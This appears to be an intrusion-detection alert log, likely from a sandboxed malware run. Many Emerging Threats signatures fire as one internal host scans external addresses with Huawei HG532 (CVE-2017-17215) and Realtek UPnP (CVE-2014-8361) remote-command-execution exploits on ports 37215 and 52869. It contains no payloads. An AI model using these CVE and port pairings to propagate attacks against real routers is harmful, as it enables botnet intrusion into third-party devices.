Timestamp:	07/20/24-23:01:14.397263
SID:	2829579
Source Port:	43480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.225.177

Timestamp:	07/20/24-23:01:33.044521
SID:	2835222
Source Port:	52612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.78.197.233

Timestamp:	07/20/24-23:01:28.222987
SID:	2829579
Source Port:	43558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 193.152.255.240

Timestamp:	07/20/24-23:01:29.169806
SID:	2831300
Source Port:	46494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.20.113.95

Timestamp:	07/20/24-23:01:19.233961
SID:	2835222
Source Port:	42368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.15.22.51

Timestamp:	07/20/24-23:01:11.467355
SID:	2835222
Source Port:	42748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.209.2.238

Timestamp:	07/20/24-23:01:33.047902
SID:	2829579
Source Port:	45234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.93.5.254

Timestamp:	07/20/24-23:01:14.397054
SID:	2835222
Source Port:	35772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.22.26.151

Timestamp:	07/20/24-23:01:37.217137
SID:	2835222
Source Port:	42522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.195.94.179

Timestamp:	07/20/24-23:01:19.334799
SID:	2829579
Source Port:	46634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.142.54.212

Timestamp:	07/20/24-23:01:11.459583
SID:	2829579
Source Port:	35822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 101.76.187.95

Timestamp:	07/20/24-23:01:34.965835
SID:	2831300
Source Port:	52020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.76.208.72

Timestamp:	07/20/24-23:01:14.407391
SID:	2829579
Source Port:	59428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 189.92.207.153

Timestamp:	07/20/24-23:01:29.185354
SID:	2831300
Source Port:	52260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.31.230.108

Timestamp:	07/20/24-23:01:33.055417
SID:	2829579
Source Port:	52502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.211.28.93

Timestamp:	07/20/24-23:01:37.160288
SID:	2829579
Source Port:	36550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.220.26.182

Timestamp:	07/20/24-23:01:02.411450
SID:	2829579
Source Port:	53680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.106.59.24

Timestamp:	07/20/24-23:01:37.191093
SID:	2835222
Source Port:	47088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 2.71.126.200

Timestamp:	07/20/24-23:01:11.478031
SID:	2835222
Source Port:	49060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.226.43.130

Timestamp:	07/20/24-23:01:07.684526
SID:	2829579
Source Port:	37930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.153.174.51

Timestamp:	07/20/24-23:01:14.407391
SID:	2835222
Source Port:	32932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 152.149.61.199

Timestamp:	07/20/24-23:01:06.208261
SID:	2025132
Source Port:	47808
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 147.70.92.77

Timestamp:	07/20/24-23:01:13.337402
SID:	2025132
Source Port:	49930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 208.42.117.191

Timestamp:	07/20/24-23:01:24.076619
SID:	2831300
Source Port:	42346
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 175.184.156.103

Timestamp:	07/20/24-23:01:29.735204
SID:	2027339
Source Port:	55126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.117.59.219

Timestamp:	07/20/24-23:01:37.167957
SID:	2829579
Source Port:	39740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.13.38.77

Timestamp:	07/20/24-23:01:37.222600
SID:	2829579
Source Port:	43604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.58.85.188

Timestamp:	07/20/24-23:01:07.676921
SID:	2829579
Source Port:	43106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.109.92.218

Timestamp:	07/20/24-23:01:37.217137
SID:	2835222
Source Port:	58804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.126.180.16

Timestamp:	07/20/24-23:01:25.230441
SID:	2829579
Source Port:	49964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.100.12

Timestamp:	07/20/24-23:01:22.779153
SID:	2835222
Source Port:	34236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 121.241.252.236

Timestamp:	07/20/24-23:01:05.466055
SID:	2027339
Source Port:	60522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.132.3.133

Timestamp:	07/20/24-23:01:07.664911
SID:	2835222
Source Port:	59668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 186.241.124.28

Timestamp:	07/20/24-23:01:33.367602
SID:	2025132
Source Port:	60340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 192.231.43.185

Timestamp:	07/20/24-23:01:34.902376
SID:	2831300
Source Port:	44680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.4.60.155

Timestamp:	07/20/24-23:01:33.046879
SID:	2835222
Source Port:	51160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.130.214.93

Timestamp:	07/20/24-23:01:33.100578
SID:	2835222
Source Port:	46072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 108.190.226.99

Timestamp:	07/20/24-23:01:29.172029
SID:	2027339
Source Port:	53566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.99.53

Timestamp:	07/20/24-23:01:37.227564
SID:	2835222
Source Port:	45382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.182.223.211

Timestamp:	07/20/24-23:01:33.046879
SID:	2829579
Source Port:	57194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.17.37

Timestamp:	07/20/24-23:01:02.414528
SID:	2835222
Source Port:	34370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 153.57.57.9

Timestamp:	07/20/24-23:01:02.405571
SID:	2829579
Source Port:	53616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 202.19.178.110

Timestamp:	07/20/24-23:01:37.231056
SID:	2829579
Source Port:	48258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.230.144.186

Timestamp:	07/20/24-23:01:33.069192
SID:	2829579
Source Port:	34674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.20.243.132

Timestamp:	07/20/24-23:01:28.142774
SID:	2829579
Source Port:	50706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.158.177.62

Timestamp:	07/20/24-23:01:07.674717
SID:	2835222
Source Port:	49844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.145.5.36

Timestamp:	07/20/24-23:01:02.415804
SID:	2829579
Source Port:	44924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 165.75.84.143

Timestamp:	07/20/24-23:01:32.141563
SID:	2025132
Source Port:	58246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 72.66.251.190

Timestamp:	07/20/24-23:01:25.271822
SID:	2027339
Source Port:	54156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.24.98.190

Timestamp:	07/20/24-23:01:11.459583
SID:	2829579
Source Port:	39228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 109.237.129.172

Timestamp:	07/20/24-23:01:07.653968
SID:	2835222
Source Port:	50684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.24.95.135

Timestamp:	07/20/24-23:01:14.397897
SID:	2829579
Source Port:	37862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.31.246.202

Timestamp:	07/20/24-23:01:28.143148
SID:	2835222
Source Port:	47962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 110.2.88.21

Timestamp:	07/20/24-23:01:31.344728
SID:	2025132
Source Port:	54134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.254.18.152

Timestamp:	07/20/24-23:01:28.205022
SID:	2835222
Source Port:	47898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 202.104.226.178

Timestamp:	07/20/24-23:01:13.336946
SID:	2027339
Source Port:	42026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 84.140.48.178

Timestamp:	07/20/24-23:01:33.049931
SID:	2835222
Source Port:	44196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 149.189.66.2

Timestamp:	07/20/24-23:01:34.618858
SID:	2025132
Source Port:	45842
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 87.85.193.52

Timestamp:	07/20/24-23:01:06.902485
SID:	2025132
Source Port:	46642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.85.103.215

Timestamp:	07/20/24-23:01:22.769838
SID:	2835222
Source Port:	49096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.123.215.194

Timestamp:	07/20/24-23:01:05.920529
SID:	2835222
Source Port:	40428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 65.248.115.141

Timestamp:	07/20/24-23:01:13.332408
SID:	2831300
Source Port:	49890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.54.115.117

Timestamp:	07/20/24-23:01:19.222257
SID:	2835222
Source Port:	59692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 162.145.238.215

Timestamp:	07/20/24-23:01:34.927371
SID:	2027339
Source Port:	51196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.122.67.226

Timestamp:	07/20/24-23:01:37.122769
SID:	2835222
Source Port:	57740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 49.119.133.182

Timestamp:	07/20/24-23:01:07.658956
SID:	2835222
Source Port:	46382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 117.157.75.129

Timestamp:	07/20/24-23:01:02.412965
SID:	2829579
Source Port:	49258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.11.29.10

Timestamp:	07/20/24-23:01:02.411903
SID:	2829579
Source Port:	44176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 190.120.169.109

Timestamp:	07/20/24-23:01:13.336390
SID:	2831300
Source Port:	46652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.219.228.225

Timestamp:	07/20/24-23:01:33.038711
SID:	2835222
Source Port:	38328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.252.238.17

Timestamp:	07/20/24-23:01:34.097406
SID:	2027339
Source Port:	49390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.155.236

Timestamp:	07/20/24-23:01:33.040755
SID:	2829579
Source Port:	55976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 31.90.157.252

Timestamp:	07/20/24-23:01:05.652239
SID:	2025132
Source Port:	38858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 99.202.52.30

Timestamp:	07/20/24-23:01:05.849562
SID:	2025132
Source Port:	57974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 82.116.127.119

Timestamp:	07/20/24-23:01:13.333258
SID:	2831300
Source Port:	56938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 45.184.153.75

Timestamp:	07/20/24-23:01:34.910408
SID:	2831300
Source Port:	51222
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.161.95.63

Timestamp:	07/20/24-23:01:19.223034
SID:	2835222
Source Port:	56068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 146.250.115.112

Timestamp:	07/20/24-23:01:19.233961
SID:	2829579
Source Port:	43372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 38.255.110.243

Timestamp:	07/20/24-23:01:34.935674
SID:	2831300
Source Port:	40052
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.165.214.124

Timestamp:	07/20/24-23:01:22.779153
SID:	2829579
Source Port:	49104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.0.122.122

Timestamp:	07/20/24-23:01:11.454991
SID:	2829579
Source Port:	47518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.53.108

Timestamp:	07/20/24-23:01:11.486486
SID:	2835222
Source Port:	48836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 85.25.104.53

Timestamp:	07/20/24-23:01:07.662924
SID:	2829579
Source Port:	59262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.13.53.30

Timestamp:	07/20/24-23:01:33.081950
SID:	2835222
Source Port:	53164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.223.41.37

Timestamp:	07/20/24-23:01:14.399761
SID:	2829579
Source Port:	41176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 151.136.169.42

Timestamp:	07/20/24-23:01:13.330939
SID:	2027339
Source Port:	52058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 208.213.201.22

Timestamp:	07/20/24-23:01:34.920163
SID:	2831300
Source Port:	58920
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 145.114.175.209

Timestamp:	07/20/24-23:01:06.011856
SID:	2027339
Source Port:	45992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.107.120.247

Timestamp:	07/20/24-23:01:11.467355
SID:	2835222
Source Port:	41486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.233.138.129

Timestamp:	07/20/24-23:01:05.904128
SID:	2835222
Source Port:	34988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.245.45.161

Timestamp:	07/20/24-23:01:14.397565
SID:	2829579
Source Port:	38968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 31.90.157.252

Timestamp:	07/20/24-23:01:13.330275
SID:	2027339
Source Port:	40028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.174.72.27

Timestamp:	07/20/24-23:01:07.664911
SID:	2835222
Source Port:	37448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.201.1.4

Timestamp:	07/20/24-23:01:28.143529
SID:	2835222
Source Port:	41218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.181.191.35

Timestamp:	07/20/24-23:01:07.664911
SID:	2835222
Source Port:	60594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.137.240

Timestamp:	07/20/24-23:01:19.225297
SID:	2829579
Source Port:	43860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 79.74.188.78

Timestamp:	07/20/24-23:01:19.335313
SID:	2835222
Source Port:	53532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 75.5.28.91

Timestamp:	07/20/24-23:01:34.908060
SID:	2831300
Source Port:	45048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.117.226.58

Timestamp:	07/20/24-23:01:02.412914
SID:	2829579
Source Port:	45842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 13.226.216.53

Timestamp:	07/20/24-23:01:33.193550
SID:	2027339
Source Port:	46900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.50.99.150

Timestamp:	07/20/24-23:01:07.684526
SID:	2835222
Source Port:	41188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.60.168.137

Timestamp:	07/20/24-23:01:22.766451
SID:	2835222
Source Port:	55560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

